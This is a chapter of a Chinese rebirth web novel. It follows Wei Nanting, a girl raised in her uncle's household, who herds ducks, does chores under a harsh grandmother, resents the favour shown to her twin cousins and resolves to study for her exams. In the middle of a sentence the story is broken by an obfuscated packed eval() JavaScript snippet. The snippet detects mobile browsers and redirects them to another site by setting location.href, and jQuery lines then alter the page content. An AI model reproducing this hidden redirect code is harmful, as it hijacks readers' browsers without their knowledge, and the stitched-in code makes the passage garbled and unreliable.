卫南亭将自己的私房钱,重新放回原处,做好标记。
开门出去,看见狼外婆在扫地。
“狼外婆”是卫南亭对江老太太的称呼。
她觉得江老太太不仅占了外婆的位置,待她不好。后来卫南亭读到《小红帽》的故事,便悄悄给这老太太安了这么个绰号,暗里觉得她就是狼外婆,就想吃掉她。
狼外婆对她不好,但对女儿女婿,可是一等一的好,冯家的东西,狼外婆看得最是好,生怕外人就拿走一丝一毫。
所以,她这个外人,并不被狼外婆喜欢。她在家里吃的每一样东西,狼外婆都觉得心疼,狼外婆在心里盘算,最后化成对自己的监督,让她用做工来抵扣。
卫南亭来舅舅家很早,从小学开始,她来冯家的时候,狼外婆就在她耳边时常念叨:“你爸妈不要你,你舅舅舅妈收留你,你要孝顺她们,对弟弟妹妹好,手脚要勤快。”
“你吃的、穿的、住的,都是你舅舅给的。”
“姑娘家不要懒,勤快点,不然以后嫁不出去。”
卫南亭小的时候,是真听进了耳,入了心的。
她内疚、感激,她任劳任怨。
六岁刚来时候,她就要割猪草喂猪,学做甄子饭。
七岁的暑假,她就能赶着十只鸭子去河边,以后每过一年增加二十只,今年夏天还未到,她就养了一百多只鸭子了……
七岁时候,她就已经能跟着下地,干的不多,但管理了舅舅家的所有自留地,舅舅家里从此不用买蔬菜。
八岁的时候,能跟着大人下地干活了。
再大一些的时候……
那是,卫南亭虽然是个初中生,但是她在接受自己没有考上高中后,也释怀了,没什么遗憾,毕竟那个年代,村里的许多女孩还只是小学生。
自己没考上高中不怪别人,毕竟舅舅说过,她考到哪里他就供她到那里。
亲生父母不管她,舅舅把他供到初中,她很是感激。她也知恩图报,舅舅供她,她就供两个表妹。
舅舅有三个孩子,一个表哥,两个双胞胎表妹。
所以,她出门打工,挣的钱寄给舅舅。因为他知道舅舅只是靠田里的产出,是供不出大学生的。
果然,双胞胎表妹上了大学或是大专,她觉得也很荣耀,表妹们的出息里有她的一份功劳。
后来,舅舅、舅妈年纪大了,表哥和表妹们因为工作照顾不了,她劳心劳力侍候老人,让两位老人含笑而终。
自己虽然普普通通,但为了冯家做了一辈子的苦行僧,看着舅舅一家子出息,她也是自豪的。
可她生病时,需要照顾时,是孤身一人。冯家人没有一个电话,只有到了一个月的那么几天,没有接到汇款,她才能被“关心”一下。
所以她上一辈子是自以为是的奉献,成全他们的梦想,只是自己的一厢情愿。他们并没有感恩于她。
她供大哥夫妻上大学还不够,还要养着他们不能带到学校里的孩子;表妹打坏了实验室的贵重仪器,她卖血去偿还;她要满足冯家日益增长的物质要求……
她忽然觉得,舅舅的养育之恩确实是无价,她怎么还都还不完。
在那些天不亮就要起床,天黑了还不能睡觉的日子里,他要想过不给舅舅寄钱了,可是,舅舅打电话过来诉苦,说他念着她。
前世她到中年还伤了腿,就因为表哥离婚再娶媳妇急需要钱,她急忙着挣钱多接了些活,没休息好,一个恍惚就摔了腿。那时,她还高兴地拿着赔偿给表哥娶新媳妇,自己却耽误了治疗,落得终生残疾。
现在想想,她可真傻,为了别人一家子,害得自己悲苦一生。
卫南亭看着自己完好无损的腿跳了两下。
狼外婆在一旁瞪她:“人来疯,跳什么跳?赶紧做饭去。”
健健康康,周周全全真好!
“赶紧的,鸭子都在嘎嘎叫了,还不赶快煮了饭赶出去。”
…
粥再焖一会儿就好了,卫南亭刚将灶膛里的火熄灭,狼外婆进厨房来了。
她没吃早饭,被赶去放鸭子。
背上背篓,里面放着镰刀,再拿着长长的竹竿,将鸭子赶出去.
天还只是蒙蒙亮,但农村人起得早。已经有稀稀落落几个人起床,拿着锄头上罢了。见着卫南亭赶了一群鸭子也打招呼。
“卫老幺,你头上的伤就好了啊?这么早,又你要去放鸭子啊?”
卫南亭点头:“王婶,早啊。”
在舅舅家里,大家都叫她卫老幺。恐怕老冯家的人已经忘了,她原本的名字叫什么了吧。
离冯家村一里地,有个水库,水库下面一条河绕了半个村子蜿蜒而过。这河,叫杨柳河。
这时节,杨柳河只有中间的地方有水,水高不过膝盖,两边则是长满了草。
最适合鸭子游泳。
她将鸭子赶下高高的河提,几日没有下河的鸭子嘎嘎叫着,飞奔向河中央。
可真快乐啊。
卫南亭则是放下背篓,割猪草。
天色也已经亮了,她后悔没有带一些书过来温习。下个月就是中考的预考了,她如果不加紧学习,她怕过不了预考。
算了,下次吧。她看向那些鸭子离开的地上,有白白的东西像石头,那是她要去捡的鸭蛋。
太阳已经露了小半个脸了,她拿起竹竿,将鸭子赶回去。
回到老冯家,进厨房,看见桌上摆满了用过的碗筷。她将袖子一挽,把脏碗脏筷扔到厨房里去。
锅里还剩下一丁点儿,留底的稀饭。像往常一样,只有吃冷稀饭。
“我问你,今天怎么只有十二个鸭蛋?”狼外婆的声音突然传来。
卫南亭说:“你不是说了,鸭子这几天没有出去,饿瘦了,下不了蛋。”
“吃完了饭是吧?赶紧洗碗,碗洗了把猪和鸡喂了。一会儿还得煮中午饭呢。”
卫南亭没吭声,将碗放到煮好的温水里,洗干净了,这才将放鸭子时割的猪草切了,煮了进去,最后舀了一些糠拌在里面。
老太太的眼睛骨碌碌地打量她全身,看有没有可能藏鸭蛋。
卫南亭见她小脚一拐一拐的离开,朝她睡的杂物房走去。
哼,狼外婆这是觉得她可能将鸭蛋藏到睡觉的房间了。
这么多年了,还是不相信她。
…
下午又是放鸭的时候,割草赶鸭煮饭,喂猪喂鸡。
晚饭的最后一口玉米糊糊刚咽下去,舅舅、舅妈就急着往门外走。村长家那台全村独一份的电视,每晚这个点都亮着,早去才能占着近前的好位置,这是他们每天必做的事情。
两人各端个小马扎,像奔赴他们的盛宴。
狼外婆也慢悠悠站起身,拄着磨得光滑的枣木拐杖出门遛弯,拐杖头偶尔敲在石头上,“笃笃”响,她渐渐走远,身影融进暮色里。
院子静下来,两个表妹就像手拉手往房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536047|186557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跑。跑几步还双双回头瞄一眼,大的挤挤眼,小的抿着嘴笑。
神神秘秘。
见姐妹俩这模样,卫南亭快速将碗筷放进锅里,解下围裙,放在竹凳上。
她出了厨房,悄悄放慢了动作,像猫儿似的轻手轻脚挪到双胞胎表妹的房间门口。
门半开着,里头的笑闹声正往外传。
“姐!你快看我这条裙子!”
小表妹的声音脆生生的,带着雀跃。
卫南亭往里瞥,正见她穿着条水绿色的新裙子转圈圈,裙摆上绣的小雏菊跟着翻飞。
“好看!这黄色和绿色色搭配得真好!嫩得像春天的草芽儿!”
大表妹的声音里满是夸赞,随即抓起红绸发结戴在头上,低头往妹妹眼前凑,“那你看我这个!县城百货大楼买的,好看吧?比二丫新买的蝴蝶结好看吧?这可是我自己的私房钱买的,花了我伍角八分钱呢!”
“哇——”小表妹的惊叹声。
她从兜里摸出个黄澄澄的发卡,上面缀着两朵绒布小碎花,“我这个也好看!是卖货的阿姨说最时兴的样式!咱们交换着戴好不好?你戴我的黄发卡,我戴你的红绸结,这样咱俩都有新头花啦!”
“好呀好呀!”大表妹立刻点头,说着就伸手去解发结,“裙子也能换!你的绿裙子我穿刚好,我的粉裙子给你,这样咱们不就都有两套新衣裳了?”
“县城可真好啊……”小表妹忽然停下动作,指尖摩挲着裙摆上的雏菊,语气里满是向往,“街上全是好看好吃的,还有卖冰糖葫芦的,连发卡都有这么多花样,真希望妈妈再带我们去!”
“等妈妈从村长家回来我就问!”大表妹拍着胸脯保证,小脸上满是笃定,“说不定下个月又能去了呢!到时候我还要买个带铃铛的头绳!”
“嗯嗯!我要吃两串冰糖葫芦!”小表妹用力点头,声音里又重新漾起笑意。
……
卫南亭回到厨房,她说今天早上过了以后就没有看到舅舅舅妈,原来今天他们一家人去县城了。
呵呵,合着这个五、一劳动节是自己一个人过了,是吧?
前世她隐约觉得舅妈没有她表现得那么好,可她无处可去,就不敢深思舅妈是怎么样一个人。
现在,她已经有许多经验,知道怎么判断一个人的好坏了。
小说里,清明的女人怼渣男这样说的:“你的钱花在她身上,就不要说什么你爱我的话廖。”
这条定理适用于所有的关系。舅妈将钱花在她亲生女儿身上,那么,可见她对自己的喜爱只是虚假。
等做完一天的家务,月上柳梢头了。
卫南亭躺在床上的时候才悲哀地发现,她今天还没有摸到过书。
舅舅原来说好的,家里人人平等,人人都需要做事。他给每个人都分派了家务,可,不知不觉的,怎么所有的事全部落在她头上了。
她突然有点想法了,不是她读书不聪明,而是她根本就没有时间学习。
中考要考语文、数学、英语、物理、化学、政治和生物,她再这么成日的做家务,可能连预考都过不了,还不如上一世。
她翻来覆去睡不着,想起前世落榜的场景,以及后来落拓一生的难堪……
她不由地想到许明起,许明起在晚娘的手底下同样也不好过活吧?那么艰难的环境不比自己好吧,可他是怎么上重点高中的?后来还考上京都一流大学的?
她一定要在信中向他请教。